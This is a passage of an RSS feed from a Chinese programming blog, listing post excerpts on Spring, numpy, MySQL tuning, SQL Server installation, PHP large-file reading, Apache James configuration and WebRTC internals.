      <description>Spring Framework 开发工具：IDEA Professional，JDK1.8及以上，Maven工具&#xA;容器核心组件：&#xA;Beans：表示对所以Bean对象的管理，主要是包含了对象间的关系配置，以及一些对象实例化操作；&#xA;Core：包含了最底层的开发支持，例如：依赖的注入关系、资源文件的访问，数据类型的转换；&#xA;Context：提供的是一个完整的容器上下文，在这个上下文之中可以处理对象的生命周期或者是事务；&#xA;表达式语言模块： 利用SpELl实现表达式语言的操作，以增强String的功能。&#xA;切面编程：&#xA;AOP：是整个Spring的灵魂所在，利用切面编程来解决所有的辅助型操作；&#xA;Aspect：切面编程的语法支持；&#xA;Instrumentation：主要用于检测JVM在运行中代码的动态处理过程；&#xA;数据访问模块：&#xA;JDBC：在Java之中，对于数据库的操作只有JDBC一种操作形式，在Spring中提供有ORMapping框架，这个框架就利用JDBC半原生完成；&#xA;ORM：ORMapping框架的处理操作可以方便的整合:JDO、Hibernate、iBatis和MyBatis等常见组件；&#xA;OXM：提供了一个对象对XML文件之间的互相转换；&#xA;JMS：提供有消息服务的支持；&#xA;Transactions：在数据访问模块支持事务的操作处理；&#xA;Web支持模块：&#xA;MVC：Spring提供有自己的MVC实现(是目前实现最好的一种)；&#xA;Struts：Spring方便的支持Struts2.x的管理；&#xA;Servlet：自己复制处理MVC的Servlet程序类；&#xA;整个Spring完成承办了一个项目能够独立开发并且可以容纳其他框架的综合性框架。&#xA;Spring中避免了关键字new造成耦合的问题，Spring不需要进行明确的引用关系传递，直接通过配置完成，Spring编程 = Factory设计模式+Proxy设计模式。&#xA;控制反转IOC(Inversion Of Control)： 是一种包装的技术类型，使得所有对象实例化的处理操作都不再需要关键字new，控制反转指的就是将对象的创建权反转给了Spring，其作用是实现了程序的解耦合；&#xA;底层实现原理：工厂设计模式+反射+XML配置文件。 对于DAO持久层（data access object，数据访问对象），先创建一个接口，然后再创建接口对应的实现类。&#xA;创建项目：&#xA;首先用IDEA创建项目，如下图：&#xA;后面选择Spring支持包就行了，然后有Maven的仓库路径，选择自己已安装的路径就行了。&#xA;如下图创建resources文件夹，右击选择MakeAs-&amp;gt; Resources Root，然后创建applicationContext.xml。&#xA;输入以下代码：&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;beans xmlns=&#34;http://www.springframework.org/schema/beans&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:schemaLocation=&#34;http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd&#34;&amp;gt; &amp;lt;/beans&amp;gt; 之后创建Service文件夹，创建IService接口，提供 一个 dosomething();方法，然后写一个该接口的实现类IServiceImp：&#xA;@Override public void dosomething() { System.out.println(&#34;This is My first Spring project&#34;); } 之后创建一个测试类test，使用ApplicationContext创建ctx对象调用 applicationContext.xml文件，获取Iservice的实现类，</description>
    </item>
    <item>
      <title>day21:前程贷项目</title>
      <link>https://bchobby.github.io/posts/43306ccf74291b54b4adf72b27d2281a/</link>
      <pubDate>Sun, 17 Nov 2019 13:36:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/43306ccf74291b54b4adf72b27d2281a/</guid>
      <description> </description>
    </item>
    <item>
      <title>post提交多个参数</title>
      <link>https://bchobby.github.io/posts/022d3d09b45f165da4b91b54490b2327/</link>
      <pubDate>Fri, 15 Nov 2019 18:12:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/022d3d09b45f165da4b91b54490b2327/</guid>
      <description> post发起请求参数可以有很多形式，json、map，最直接的就是直接传，可一个传一个，也可以传多个。&#xA;前台请求（两个参数）&#xA;var url2 = &#34;&amp;lt;e:url value=&#39;sendCode.e&#39; /&amp;gt;&#34; $.post(url2, {id:findPwdNumber,validNum:validNum},function (data) { var message_code = &#39;&amp;lt;%=request.getAttribute(&#34;PwdMsg_code&#34;)%&amp;gt;&#39;; alert(message_code); }); 后台接收&#xA;public String sendCode(String id,String validNum,HttpServletResponse response,HttpServletRequest request) throws SQLException { System.out.println(&#34;=================验证码接口接口开始&#34;); System.out.println(&#34;validNum:&#34;+validNum); String rCodePwd = String.valueOf(request.getSession().getAttribute(&#34;rCode&#34;)); if(validNum==null||(validNum!=null&amp;amp;&amp;amp;validNum.length()==0)){ request.setAttribute(&#34;PwdMsg_code&#34;,&#34;请输入验证码！&#34;); return &#34;pages/frame/findPwd.jsp&#34;; }if(!validNum.equals(rCodePwd)){ request.setAttribute(&#34;PwdMsg_code&#34;,&#34;验证码不正确！&#34;); return &#34;pages/frame/findPwd.jsp&#34;; } //验证成功后销毁session中验证码 request.getSession().removeAttribute(&#34;rCode&#34;); } </description>
    </item>
    <item>
      <title>numpy：性能提升之利用numpy的apply_along_axis函数替代pandas的apply函数</title>
      <link>https://bchobby.github.io/posts/84759e253059053864863ebfd077e2ea/</link>
      <pubDate>Fri, 15 Nov 2019 15:50:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/84759e253059053864863ebfd077e2ea/</guid>
      <description>pandas的DataFrame的apply函数可以实现对指定的轴进行遍历操作，这是个很方便也很常用的函数，但是问题在于，当我们的数据量较大，比如有50万行，这时要对50万行进行逐行遍历的话，如果对每行的操作用到了Series索引，那么这将是一个非常耗时的过程，因为对于pandas来说，索引操作是低效的，这种低效再经过50万行放大，那么性能就会显得很差。对此，我们可以通过numpy的apply_along_axis函数替代，可以实现一样的功能，但是由于numpy的ndarray的索引相对更加高效，所以性能上会有很大的提升。&#xA;import pandas as pd import numpy as np df=pd.DataFrame(np.arange(800000).reshape(200000,4),columns=list(&#39;abcd&#39;)) t1=time.time() s1=df.apply(lambda x:x[&#39;a&#39;]+x[&#39;d&#39;],axis=1) t2=time.time() print(t2-t1) arr=df.values t3=time.time() s=np.apply_along_axis(lambda x:x[0]+x[3],axis=1,arr=arr) t4=time.time() print(t4-t3) # output: # 9.685098886489868 # 1.3745567798614502 可以看到，性能提升了7倍多，如果数据量更大，性能提升会更加的明显。&#xA;对于apply_along_axis函数的使用，相比于DataFrame的apply函数，有以下几点需要特别注意：&#xA;1、apply_along_axis本质上还是一个for loop，只是其数据结构上性能会更佳，所以整体的速度会更快；&#xA;2、如果ndarray的数据类型是object，那么在使用apply_along_axis时，其会进一步的将object转为numpy的其他数据类型，因此这时就需要特别注意，特别注意第一个inner loop遇到的元素，之后将以此元素在numpy中的数据类型为准进行转换，这可能会引起数据类型不兼容的问题，会抛出异常或者产生数据误差，具体可看笔者的这篇文章。&#xA;3、axis参数只能接受一个int值，因为默认func参数中关于arr的输入只能是一个一维的array。&#xA;4、ndarray在形式上区别于DataFrame的重要的一点是，前者只有数字索引，而后者有标签索引，很多时候，标签索引给了相应的列或者行以明确的含义，这是很重要的，在脚本逻辑上有时也是必要的；那么如何在ndarray中也实现标签索引呢？我们只需要额外的构建一个字典，即关于标签和整数之间的映射，这样我们可以通过这个字典作为标签到数字的中转站，从而实现在ndarray中也有标签索引。&#xA;5、如果需要对多条轴进行同一个函数的操作，可以利用numpy.apply_over_axis,其axis参数可以指定多轴，其运算过程为：现在第一个传入的轴上做运算，得到结果后再在第二个轴上对第一步得到的结果做相同的函数操作，以此类推，返回结果。</description>
    </item>
    <item>
      <title>spring cloud eureka client项目无法启动，配置文件yml不生效</title>
      <link>https://bchobby.github.io/posts/975a52fd8847128fbd288050c74b47a7/</link>
      <pubDate>Fri, 15 Nov 2019 10:43:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/975a52fd8847128fbd288050c74b47a7/</guid>
      <description>SpringCloud eureka client无法正常启动，配置application.yml不生效。下面是相关配置：&#xA;application.yml&#xA;eureka: client: service-url: defaultZone: http://localhost:8761/eureka/ spring: application: name: eurekaclient cloud: loadbalancer: ribbon: enabled: false server: port: 8080 pom.xml相关依赖&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd&#34;&amp;gt; &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt; &amp;lt;parent&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-parent&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.2.1.RELEASE&amp;lt;/version&amp;gt; &amp;lt;relativePath/&amp;gt; &amp;lt;!-- lookup parent from repository --&amp;gt; &amp;lt;/parent&amp;gt; &amp;lt;groupId&amp;gt;com.imooc&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;eurekaclient&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;0.0.1-SNAPSHOT&amp;lt;/version&amp;gt; &amp;lt;name&amp;gt;eurekaclient&amp;lt;/name&amp;gt; &amp;lt;description&amp;gt;Demo project for Spring Boot&amp;lt;/description&amp;gt; &amp;lt;properties&amp;gt; &amp;lt;java.version&amp;gt;1.8&amp;lt;/java.version&amp;gt; &amp;lt;spring-cloud.version&amp;gt;Hoxton.RC2&amp;lt;/spring-cloud.version&amp;gt; &amp;lt;/properties&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-netflix-eureka-client&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-test&amp;lt;/artifactId&amp;gt; &amp;lt;exclusions&amp;gt; &amp;lt;exclusion&amp;gt; &amp;lt;groupId&amp;gt;org.junit.vintage&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;junit-vintage-engine&amp;lt;/artifactId&amp;gt; &amp;lt;/exclusion&amp;gt; &amp;lt;/exclusions&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; &amp;lt;dependencyManagement&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.</description>
    </item>
    <item>
      <title>DeployTool解密工具</title>
      <link>https://bchobby.github.io/posts/0f9d2b90facfe26c0ae552be69dd2fd6/</link>
      <pubDate>Thu, 14 Nov 2019 18:14:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f9d2b90facfe26c0ae552be69dd2fd6/</guid>
      <description> 推荐一款功能强大而且轻巧的解密工具，方便开发过程中需要去解密不同加密类型的密文。&#xA;找不到下载的可以私信我~~ </description>
    </item>
    <item>
      <title>Python基础（六）--类与对象</title>
      <link>https://bchobby.github.io/posts/648412d109969cb4bb14708c8594c375/</link>
      <pubDate>Wed, 13 Nov 2019 21:35:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/648412d109969cb4bb14708c8594c375/</guid>
      <description>目录&#xA;Python基础（六）--类与对象&#xA;1 类与对象的基本概念&#xA;1.1 什么是对象&#xA;1.2 什么是类&#xA;1.3 类与对象的关系&#xA;2 定义与初始化&#xA;2.1 类的定义&#xA;2.2 对象的初始化&#xA;2.3 动态增加属性方法&#xA;3 类成员&#xA;3.1 类属性与实例属性&#xA;3.2 类方法与实例方法&#xA;3.3 静态方法&#xA;3.4 类与实例&#xA;4 魔法方法&#xA;5 动态属性&#xA;6 面向对象与面向过程&#xA;7 面向对象的三大特征&#xA;7.1 封装&#xA;7.2 继承&#xA;7.3 多态&#xA;Python基础（六）--类与对象 1 类与对象的基本概念 1.1 什么是对象 对象具有属性和行为，属性多体现为名词，而行为多体现为动词。&#xA;1.2 什么是类 类，其实就是指一个类别，具有相同属性与行为的所有对象构成的一个整体。&#xA;1.3 类与对象的关系 （1）类是对象的抽象，而对象是类的具体表现形式&#xA;（2）类是设计的模板，而对象是该模板设计出的具体产物&#xA;2 定义与初始化 2.1 类的定义 使用class关键字定义类，如下：&#xA;class 类名：&#xA;类体&#xA;想让对象具备那些功能（属性和行为），就需要在类中指出。就需要在现实与Python程序中进行一种映射，对象的属性，通过令对象绑定一个变量来实现，而对象的行为，通过在类内定义方法来实现。所谓方法，其形式与函数非常相似，只不过是定义类的内部，关联了某个对象而已。&#xA;self：在两个方法中，都具有一个参数：self。该参数用来表示当前的对象（调用该方法的时候，所使用的对象。简单说，就是谁调用了这个方法，当前对象就是谁）。&#xA;如果仅仅定义了类，而没有为类具体化（创建对象），是不能够使用类中定义的功能的，通过对象调用方法时，该对象就会隐式的传递给方法的第一个参数（无需我们显式传递）。&#xA;# 定义一个学生类 class Student: def study(self): print(&#34;</description>
    </item>
    <item>
      <title>动画图解：十大经典排序算法动画与解析，看我就够了！（配代码完全版）</title>
      <link>https://bchobby.github.io/posts/07d3d3a196788d0d877a43a1cb084425/</link>
      <pubDate>Wed, 13 Nov 2019 16:17:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/07d3d3a196788d0d877a43a1cb084425/</guid>
      <description>排序算法是《数据结构与算法》中最基本的算法之一。&#xA;排序算法可以分为内部排序和外部排序。&#xA;内部排序是数据记录在内存中进行排序。&#xA;而外部排序是因排序的数据很大，一次不能容纳全部的排序记录，在排序过程中需要访问外存。&#xA;常见的内部排序算法有：插入排序、希尔排序、选择排序、冒泡排序、归并排序、快速排序、堆排序、基数排序等。&#xA;用一张图概括：&#xA;时间复杂度与空间复杂度&#xA;关于时间复杂度：&#xA;平方阶 (O(n2)) 排序 各类简单排序：直接插入、直接选择和冒泡排序。&#xA;线性对数阶 (O(nlog2n)) 排序 快速排序、堆排序和归并排序；&#xA;O(n1+§)) 排序，§ 是介于 0 和 1 之间的常数。 希尔排序&#xA;线性阶 (O(n)) 排序 基数排序，此外还有桶、箱排序。&#xA;关于稳定性：&#xA;稳定的排序算法：冒泡排序、插入排序、归并排序和基数排序。&#xA;不是稳定的排序算法：选择排序、快速排序、希尔排序、堆排序。&#xA;1. 冒泡排序 1.1 算法步骤&#xA;比较相邻的元素。如果第一个比第二个大，就交换他们两个。&#xA;对每一对相邻元素作同样的工作，从开始第一对到结尾的最后一对。这步做完后，最后的元素会是最大的数。&#xA;针对所有的元素重复以上的步骤，除了最后一个。&#xA;持续每次对越来越少的元素重复上面的步骤，直到没有任何一对数字需要比较。&#xA;1.2 动画演示&#xA;冒泡排序动画演示&#xA;1.3 参考代码&#xA;1// Java 代码实现 2public class BubbleSort implements IArraySort { 3 4 @Override 5 public int[] sort(int[] sourceArray) throws Exception { 6 // 对 arr 进行拷贝，不改变参数内容 7 int[] arr = Arrays.</description>
    </item>
    <item>
      <title>mysql调优最大连接数</title>
      <link>https://bchobby.github.io/posts/d9dbe3b683481c9ce54701a4407a9894/</link>
      <pubDate>Wed, 13 Nov 2019 10:37:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d9dbe3b683481c9ce54701a4407a9894/</guid>
      <description>一、mysql调优&#xA;1.1 报错：&#xA;Mysql: error 1040: Too many connections&#xA;1.2 原因：&#xA;1&#xA;1、访问量过高，MySQL服务器抗不住，这个时候就要考虑增加从服务器分散读压力。&amp;lt;br&amp;gt;2、MySQL配置文件中max_connections值过小，默认151。&#xA;1.3 最优计算方法：&#xA;服务器响应的最大连接数值占服务器上限连接数值的比例值在10%以上，如果在10%以下，说明mysql服务器最大连接上限值设置过高。&#xA;Max_used_connections / max_connections * 100% = 2/151 *100% ≈ 1%&#xA;#默认最大连接数&#xA;mysql&amp;gt; show variables like &#39;%max_connections%&#39;;&#xA;+-----------------+-------+&#xA;| Variable_name | Value |&#xA;+-----------------+-------+&#xA;| max_connections | 151 |&#xA;+-----------------+-------+&#xA;1 row in set (0.00 sec)&#xA;#调整最大连接数&#xA;mysql&amp;gt; set global max_connections = 1000;&#xA;Query OK, 0 rows affected (0.00 sec)&#xA;#查看最大连接数&#xA;mysql&amp;gt; show variables like &#39;%max_connections%&#39;;</description>
    </item>
    <item>
      <title>微服务 Feign 405</title>
      <link>https://bchobby.github.io/posts/4ee404fb0fa7a533ab8f3b78e1d2c688/</link>
      <pubDate>Tue, 12 Nov 2019 16:15:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4ee404fb0fa7a533ab8f3b78e1d2c688/</guid>
      <description>最近在使用微服务遇到一个feign 405的问题，一直很困惑，提出来希望大神们指导一二。&#xA;我们用的是springCloud的openFeign：&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-openfeign&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; feign：&#xA;@PostMapping(value = &#34;/automatic_sign_for&#34;, consumes = MediaType.APPLICATION_JSON_UTF8_VALUE, produces = MediaType.APPLICATION_JSON_UTF8_VALUE) void automaticSignFor() throws Exception; Controller：&#xA;@ApiOperation(value = &#34;Automatic sign for orders that have no sign in status information in a period of time after delivery&#34;, tags = {&#34;Automatic sign for APIs&#34;}, nickname = &#34;Automatic sign for&#34;) @ApiResponses(value = { @ApiResponse(code = 200, message = &#34;Succ&#34;), @ApiResponse(code = 401, message = &#34;You are not authorized to access to this API&#34;</description>
    </item>
    <item>
      <title>安装SQL Server</title>
      <link>https://bchobby.github.io/posts/ff038f5b2c99f883cfa113160a403f91/</link>
      <pubDate>Tue, 12 Nov 2019 15:09:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff038f5b2c99f883cfa113160a403f91/</guid>
      <description>启动安装 从网上下载SQL Server 安装包，解压，双击目录中的setup启动安装向导，出现【SQL Server安装中心】窗口，如下图所示.&#xA;我这下载的是SQL Server 2014的,&#xA;在左侧选择“安装”类，然后点击“全新SQL Server独立安装或向现有安装添加功能”链接 操作如图所示。&#xA;密钥许可 在“产品密钥”页，输入产品密钥,单击【下一步】按钮；在“许可条款”页，勾选“我接受许可条款”复选框，单击【下一步】按钮.&#xA;操作如图所示。&#xA;选择要安装的功能 在“设置角色”页，选中“SQL Server功能安装”选项，单击【下一步】按钮；在接下来的“功能选择”页，于“功能”区域中勾选要安装的功能组件，我这是全选,大家可根据需求选择相应的,操作如图所示。&#xA;出现问题：需要Microsoft.NET Framework 3.5 Service Pack1 解决办法：&#xA;控制面板-程序-(启用或 关闭Windows 功能)&#xA;下载有点慢&#xA;设置数据库用户密码 当安装向导进入到“数据库引擎配置”页后，选择身份验证模式为“混合模式”，我这设置的系统管理员帐户sa的密码为123456，必须记住自己所设的密码，后面在开发程序连接数据库时要用！输完密码并确认后，单击【添加当前用户】按钮，单击【下一步】按钮，操作如图所示。&#xA;其他配置 在“Analysis Services配置”和“Distributed Replay 控制器”页，都是单击【添加当前用户】按钮后再点【下一步】按钮，如图所示。&#xA;在“Distributed Replay 客户端”页，输入控制器名称，单击【下一步】按钮，如图所示。&#xA;开始安装 全部配置完成后，向导进入“准备安装”页，显示已准备好安装的内容项，如图所示，用户在确认无误后就可单击【安装】按钮进入安装过程，进度条显示安装的进度。&#xA;（7）安装完成&#xA;稍候片刻，向导进入“完成”窗口，如图所示，单击【关闭】按钮，系统会弹出消息框提示用户重启，点【确定】重新启动计算机。</description>
    </item>
    <item>
      <title>PHP读取大文件防止内存溢出，SplFileObject、fopen、fseek三种实现</title>
      <link>https://bchobby.github.io/posts/fba7c7dab3aae39ea38d99ae5126921b/</link>
      <pubDate>Tue, 12 Nov 2019 11:23:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fba7c7dab3aae39ea38d99ae5126921b/</guid>
      <description> 使用PHP实时读取日志，文件大概500M左右，大小不固定。如采用正常读取，会直接内存溢出。可采用fopen的逐行读取、分块读取、以及Php的SPL类库&#xA;第一种：使用fopen逐行读取（测试在日志文件较大耗时时间会比较长，如果只是读取一次，可直接使用读取。 如果对日志实时计算处理，可采用SPL类库结合fopen来实现）fseek分块读取此处就不提供示例代码，可自行查找。 /** * 读取文件数据 * @return array */ public function getLog() {&#x9;//当前LOG路径 $filename = &#39;文件路径&#39;; $data = []; //读取数据 防止内存溢出PHP报错，采用文件指针逐行读取 $fh = fopen($filename, &#39;r&#39;); //声明初始变量 $result = []; while (! feof($fh)) { $line = fgets($fh); var_dump($line); } fclose($fh); } 第二种：针对需要使用PHP实时读取LOG并进行业务处理的需求（采用SplFileObject + fopen)&#xA;思路为：增加行数冗余，每次只处理新产生的数据，不对全部数据进行处理&#xA;每天第一次执行，获取当前文件全部数据，并记录当前执行的行数作为冗余，第二次之后根据第一次冗余的行数，使用SplFileObject的seek转到最后执行位置，只处理新产生LOG记录。 /** * 返回当前文件行数 * @return string */ public function countLine($file){ $fp=fopen($file, &#34;r&#34;); $lineNum=0; while(!feof($fp)) { //每次读取2M , 此处可根据实际需求进行调整每次读取文件大小 if($data=fread($fp,1024*1024*2)){ //计算读取到的行数 $num=substr_count($data,&#34;\n&#34;); $lineNum+=$num; } } fclose($fp); return $lineNum; } /** * 获取Log文件从M 到 N 行数据 * @return array */ public function getFileLines($filename, $startLine = 1, $endLine = 50, $method = &#39;rb&#39;){ $content = []; $count = $endLine - $startLine; $fp = new \SplFileObject($filename, $method); // 转到第N行, seek方法参数从0开始计数 $fp-&amp;gt;seek($startLine - 1); for ($i = 0; $i &amp;lt;= $count; ++$i) { //获取当前行内容 $content[] = $fp-&amp;gt;current(); $fp-&amp;gt;next(); // 下一行 } //过滤之后返回 return array_filter($content); } </description>
    </item>
    <item>
      <title>Apache james安装配置笔记</title>
      <link>https://bchobby.github.io/posts/1d5fc4eacc57a4ebe06079e2eadac8fe/</link>
      <pubDate>Tue, 12 Nov 2019 10:41:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1d5fc4eacc57a4ebe06079e2eadac8fe/</guid>
      <description>Apache james安装配置笔记（一） Apache james安装配置笔记下载安装基本配置配置keystore配置webAdmin 启动james验证webAdmin Apache james安装配置笔记 公司要求使用开源的邮件服务系统，架构组的同事推荐了james这个项目，记录一下安装配置的过程&#xA;james项目地址&#xA;下载安装 james提供spring和guice两种注入方式，目前仅guice方式支持restful接口，为了方便开发管理工具下载的james包为guice+jpa，包下载路径为&#xA;https://archive.apache.org/dist/james/server/3.3.0/，下载&#xA;james-server-jpa-guice-3.3.0.zip 基本配置 配置keystore 解压压缩包，进入james的目录，生成keystore&#xA;cd ${james-path} keytool -genkey -alias james -keyalg RSA -keystore conf/keystore 需要记住输入的密码，然后进入conf目录，修改&#xA;smtpserver.xm&#xA;l文件，将secret里改为自己创建keystore时输入的密码&#xA;&amp;lt;smtpserver enabled=&#34;true&#34;&amp;gt; &amp;lt;jmxName&amp;gt;smtpserver-TLS&amp;lt;/jmxName&amp;gt; &amp;lt;bind&amp;gt;0.0.0.0:465&amp;lt;/bind&amp;gt; &amp;lt;connectionBacklog&amp;gt;200&amp;lt;/connectionBacklog&amp;gt; &amp;lt;tls socketTLS=&#34;true&#34; startTLS=&#34;false&#34;&amp;gt; &amp;lt;keystore&amp;gt;file://conf/keystore&amp;lt;/keystore&amp;gt; &amp;lt;secret&amp;gt;yourkey&amp;lt;/secret&amp;gt; &amp;lt;provider&amp;gt;org.bouncycastle.jce.provider.BouncyCastleProvider&amp;lt;/provider&amp;gt; &amp;lt;algorithm&amp;gt;SunX509&amp;lt;/algorithm&amp;gt; &amp;lt;/tls&amp;gt; &amp;lt;connectiontimeout&amp;gt;360&amp;lt;/connectiontimeout&amp;gt; &amp;lt;connectionLimit&amp;gt;0&amp;lt;/connectionLimit&amp;gt; &amp;lt;connectionLimitPerIP&amp;gt;0&amp;lt;/connectionLimitPerIP&amp;gt; &amp;lt;!-- Authorize only local users --&amp;gt; &amp;lt;authRequired&amp;gt;true&amp;lt;/authRequired&amp;gt; &amp;lt;authorizedAddresses&amp;gt;127.0.0.0/8&amp;lt;/authorizedAddresses&amp;gt; &amp;lt;!-- Trust authenticated users --&amp;gt; &amp;lt;verifyIdentity&amp;gt;false&amp;lt;/verifyIdentity&amp;gt; &amp;lt;maxmessagesize&amp;gt;0&amp;lt;/maxmessagesize&amp;gt; &amp;lt;addressBracketsEnforcement&amp;gt;true&amp;lt;/addressBracketsEnforcement&amp;gt; &amp;lt;smtpGreeting&amp;gt;JAMES Linagora&#39;s SMTP awesome Server&amp;lt;/smtpGreeting&amp;gt; &amp;lt;handlerchain&amp;gt; &amp;lt;handler class=&#34;org.apache.james.smtpserver.fastfail.ValidRcptHandler&#34;/&amp;gt; &amp;lt;handler class=&#34;</description>
    </item>
    <item>
      <title>webrtc 代码学习（三十） rtt 计算方法</title>
      <link>https://bchobby.github.io/posts/abe13cb2f7ea7fa2a5a7a2c7f2a90cce/</link>
      <pubDate>Tue, 12 Nov 2019 10:21:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/abe13cb2f7ea7fa2a5a7a2c7f2a90cce/</guid>
      <description>rtt 计算方法&#xA;作者：LanPZzzz&#xA;文章目录 1. 请查看 [\[webrtc\] rtcp模块中rtt时间计算](https://blog.csdn.net/dittychen/article/details/70214675)2. 因为我们查看的是A-&amp;gt;B，B-&amp;gt;A 的数据互通，所以在rtt 的计算的，不管是A端计算还是B端计算，都应该是一样的3. 我们在测试的时候4. BR，RR 包5. rtt 计算OK，rtt 计算完成 1. 请查看 [webrtc] rtcp模块中rtt时间计算 2. 因为我们查看的是A-&amp;gt;B，B-&amp;gt;A 的数据互通，所以在rtt 的计算的，不管是A端计算还是B端计算，都应该是一样的 3. 我们在测试的时候 使用delay，把导到的包延迟发放，rtt没有变，但是按照计算应该是要变的啊 4. BR，RR 包 A （发送BR 包） -&amp;gt; B，BuildSR&#xA;std::unique_ptr&amp;lt;rtcp::RtcpPacket&amp;gt; RTCPSender::BuildSR(const RtcpContext&amp;amp; ctx) { 。。。 rtcp::SenderReport* report = new rtcp::SenderReport(); report-&amp;gt;SetSenderSsrc(ssrc_); 在report 放入 A 端的当前时间 report-&amp;gt;SetNtp(ctx.now_); report-&amp;gt;SetRtpTimestamp(rtp_timestamp); report-&amp;gt;SetPacketCount(ctx.feedback_state_.packets_sent); report-&amp;gt;SetOctetCount(ctx.feedback_state_.media_bytes_sent); report-&amp;gt;SetReportBlocks(CreateReportBlocks(ctx.feedback_state_)); 。。。 } B （接收到BR 包）&#xA;void RTCPReceiver::HandleSenderReport(const CommonHeader&amp;amp; rtcp_block, PacketInformation* packet_information) { rtcp::SenderReport sender_report; if (!</description>
    </item>
    <item>
      <title>webrtc 代码学习（二十五）video nack 模块</title>
      <link>https://bchobby.github.io/posts/89ae7eae7b56d1706b436d81807b384c/</link>
      <pubDate>Tue, 12 Nov 2019 10:13:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89ae7eae7b56d1706b436d81807b384c/</guid>
      <description>video nack 模块&#xA;作者：LanPZzzz&#xA;文章目录 1. video nack 模块 在 modules\video_coding\nack_module.cc 中2. NackModule::OnReceivedPacket 获取 video rtp 包3. NackModule::AddPacketsToNack4. NackModule::GetNackBatch，分2种，根据 seq 和 timestamp 进行选择重发，在OnReceivedPacket 是 seq， 任务线程中是 ts5. NackModule::Process， 间隔时间 NackModule::TimeUntilNextProcess6. nack 中的rtt 是由线程驱动传递的7. nack 中的rtt 是怎么计算的，请看第三十章节 1. video nack 模块 在 modules\video_coding\nack_module.cc 中 2. NackModule::OnReceivedPacket 获取 video rtp 包 int NackModule::OnReceivedPacket(uint16_t seq_num, bool is_keyframe) { rtc::CritScope lock(&amp;amp;crit_); // TODO(philipel): When the packet includes information whether it is // retransmitted or not, use that value instead.</description>
    </item>
    <item>
      <title>webrtc 代码学习（二十二） audio neteq，待续</title>
      <link>https://bchobby.github.io/posts/16b4b438a5c788a969475ce3e5c7fb34/</link>
      <pubDate>Tue, 12 Nov 2019 10:05:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16b4b438a5c788a969475ce3e5c7fb34/</guid>
      <description>audio neteq&#xA;作者：LanPZzzz&#xA;文章目录 1. modules\audio_coding\neteq 中2. InsertPacket 的流程，在学习十三中，我们已经简单的看到，这里就不介绍了。我们看下NetEqImpl::InsertPacketInternal 都作了哪些动作3. NetEqImpl::GetAudioInternal 获取数据jitter 控制其播放，应该是用10ms 的速度控制的，复杂的一笔。。。 待续4. 参照，感谢 1. modules\audio_coding\neteq 中 neteq 的发起点有2个，neteq_impl.cc&#xA;NetEqImpl::InsertPacket // 接收数据 NetEqImpl::GetAudio // 发送数据 2. InsertPacket 的流程，在学习十三中，我们已经简单的看到，这里就不介绍了。我们看下NetEqImpl::InsertPacketInternal 都作了哪些动作 int NetEqImpl::InsertPacketInternal(const RTPHeader&amp;amp; rtp_header, rtc::ArrayView&amp;lt;const uint8_t&amp;gt; payload, uint32_t receive_timestamp) { if (payload.empty()) { RTC_LOG_F(LS_ERROR) &amp;lt;&amp;lt; &#34;payload is empty&#34;; return kInvalidPointer; } 生成Packet 放入PacketList 中 PacketList packet_list; // Insert packet in a packet list. packet_list.push_back([&amp;amp;rtp_header, &amp;amp;payload] { // Convert to Packet.</description>
    </item>
    <item>
      <title>java选择填空</title>
      <link>https://bchobby.github.io/posts/878ac255e00d4ce029924f7c89b8a0da/</link>
      <pubDate>Mon, 11 Nov 2019 20:45:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/878ac255e00d4ce029924f7c89b8a0da/</guid>
